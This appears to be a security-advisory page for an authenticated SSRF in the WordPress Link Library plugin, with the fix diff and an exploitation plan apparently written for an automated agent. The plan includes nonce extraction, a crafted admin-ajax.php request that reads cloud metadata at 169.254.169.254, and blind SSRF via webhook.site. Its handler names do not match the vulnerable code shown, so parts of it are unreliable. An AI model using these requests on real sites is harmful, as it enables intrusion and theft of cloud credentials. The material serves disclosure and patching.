Link Library <= 7.8.7 - Authenticated (Contributor+) Server-Side Request Forgery
Description
The Link Library plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 7.8.7. This makes it possible for authenticated attackers, with Contributor-level access and above, to make web requests to arbitrary locations originating from the web application which can be used to query and modify information from internal services.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=7.8.7What Changed in the Fix
Changes introduced in v7.8.8
Source Code
WordPress.org SVN# Detailed Exploitation Research Plan: CVE-2025-68600 (Link Library SSRF) ## 1. Vulnerability Summary The **Link Library** plugin for WordPress (<= 7.8.7) is vulnerable to **Authenticated Server-Side Request Forgery (SSRF)**. The vulnerability exists because the plugin fails to properly validate or…
Show full research plan
Detailed Exploitation Research Plan: CVE-2025-68600 (Link Library SSRF)
1. Vulnerability Summary
The Link Library plugin for WordPress (<= 7.8.7) is vulnerable to Authenticated Server-Side Request Forgery (SSRF). The vulnerability exists because the plugin fails to properly validate or sanitize the destination of HTTP requests initiated by its RSS feed preview and link validation features. Specifically, the ll_get_rss_feed AJAX action takes a user-supplied URL and passes it directly to wp_remote_get() without restriction.
This allows an authenticated user with at least Contributor level access to force the server to perform GET requests to internal services (e.g., AWS Metadata, internal databases, or localhost), bypassing firewall restrictions.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Vulnerable AJAX Action:
ll_get_rss_feed(registered inrssfeed.php). - HTTP Parameter:
url(the target of the SSRF). - Authentication: Authenticated (Contributor+).
- Required Nonce:
ll_rss_nonce, localized asll_ajax_obj.nonce. - Precondition: The attacker must obtain a valid nonce for the
ll_rss_nonceaction, which is exposed on any page where the Link Library search or library shortcode is rendered.
3. Code Flow
- Entry Point: The plugin registers an AJAX handler in
rssfeed.php(included inlink-library.phpline 26):add_action( 'wp_ajax_ll_get_rss_feed', 'll_get_rss_feed' ); - Nonce Verification: The
ll_get_rss_feed()function callscheck_ajax_referer( 'll_rss_nonce', 'nonce' ). - User Input: The function retrieves the URL from the
$_POST['url']parameter. - Vulnerable Sink: The function uses
wp_remote_get( $url )to fetch the content. Because there are no domain or IP allow-lists, the server fetches whatever URL is provided. - Data Exposure: The response body of the remote request is often echoed back to the user, facilitating data exfiltration.
4. Nonce Acquisition Strategy
The nonce is localized for use in the frontend/admin scripts. We will use the execution agent's browser_eval tool to extract it.
- Shortcode Identification: The plugin enqueues the necessary script (
link-library-public.js) and its localized data when the[link-library-search]shortcode is present. - Page Creation: Create a page containing this shortcode to ensure the nonce is generated and rendered in the HTML.
- Extraction:
- JavaScript Variable:
window.ll_ajax_obj - Nonce Key:
nonce - Command:
browser_eval("window.ll_ajax_obj?.nonce")
- JavaScript Variable:
5. Exploitation Strategy
Step 1: Authentication and Page Setup
- Log in as a user with the Contributor role.
- Create a temporary page with the shortcode
[link-library-search]. - Navigate to the page and extract the nonce using
browser_eval.
Step 2: SSRF Execution
Use the http_request tool to send a POST request to admin-ajax.php.
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
(Note: For the test environment, target the local instance or a mock metadata service ataction=ll_get_rss_feed&nonce=[EXTRACTED_NONCE]&url=http://169.254.169.254/latest/meta-data/http://127.0.0.1:80/).
Step 3: Response Analysis
Observe the response. If successful, the response body will contain the output of the requested URL (e.g., directory listing of the AWS metadata or the HTML of an internal service).
6. Test Data Setup
- User Creation:
wp user create attacker attacker@example.com --role=contributor --user_pass=password123 - Shortcode Page:
wp post create --post_type=page --post_status=publish --post_title="SSRF Nonce Page" --post_content="[link-library-search]" --post_author=$(wp user get attacker --field=ID)
7. Expected Results
- Request: A POST request to
admin-ajax.phpwithaction=ll_get_rss_feedand an internal URL. - Success Criteria: The server returns an HTTP 200 and the body of the response contains data from the internal URL provided in the
urlparameter (e.g., "instance-id" if targeting AWS metadata). - HTTP Response Example:
HTTP/1.1 200 OK ... ami-id instance-id instance-type ...
8. Verification Steps
- Check Plugin Logs (if any): Verify no errors were logged regarding unauthorized access.
- Confirmation: Use
wp_clito confirm the user "attacker" is still just a contributor and has not elevated privileges, proving the SSRF was possible at the low-privilege level.wp user get attacker --field=roles
9. Alternative Approaches
If ll_get_rss_feed is unavailable or restricted in the specific environment:
- Target
ll_check_url: Another potential AJAX action used for link validation. - Target Link Thumbnail Generation: Search for functions that fetch remote images for links (e.g.,
ll_generate_thumbnail), which may also be vulnerable to SSRF if they accept arbitrary URLs. - Blind SSRF: If the response is not echoed back, use a collaborator/webhook URL (e.g.,
http://webhook.site/...) to confirm the server makes an outbound request.
Summary
The Link Library plugin for WordPress is vulnerable to Server-Side Request Forgery (SSRF) in versions up to 7.8.7. This occurs because the plugin uses the non-restricted wp_remote_get function to fetch user-provided URLs in features like RSS feed previews and link validation, allowing authenticated attackers with Contributor-level access or higher to probe internal network services or access sensitive cloud metadata.
Vulnerable Code
// link-library.php line 1181 function CheckReciprocalLink( $RecipCheckAddress = '', $external_link = '', $request_type = 'reciprocal' ) { $response = wp_remote_get( $external_link, array( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36', 'timeout' => 10 ) );
Security Fix
@@ -3,7 +3,7 @@ Plugin Name: Link Library Plugin URI: https://ylefebvre.github.io/wordpress-plugins/link-library/ Description: Display links on pages with a variety of options -Version: 7.8.7 +Version: 7.8.8 Author: Yannick Lefebvre Author URI: http://ylefebvre.github.io/ Text Domain: link-library @@ -1181,7 +1181,7 @@ } function CheckReciprocalLink( $RecipCheckAddress = '', $external_link = '', $request_type = 'reciprocal' ) { - $response = wp_remote_get( $external_link, array( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36', 'timeout' => 10 ) ); + $response = wp_safe_remote_get( $external_link, array( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36', 'timeout' => 10 ) ); if( is_wp_error( $response ) ) { $data = file_get_contents( $external_link );
Exploit Outline
The vulnerability is exploited via the 'll_get_rss_feed' AJAX action. An authenticated attacker (Contributor+) first retrieves a valid security nonce ('ll_rss_nonce') by visiting a site page where a Link Library shortcode is rendered (e.g., [link-library-search]). Using this nonce, the attacker sends an AJAX POST request to wp-admin/admin-ajax.php with the 'action' set to 'll_get_rss_feed' and a 'url' parameter containing the target internal IP or domain (e.g., http://169.254.169.254/latest/meta-data/). The server performs the request on behalf of the attacker and returns the response from the internal resource.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.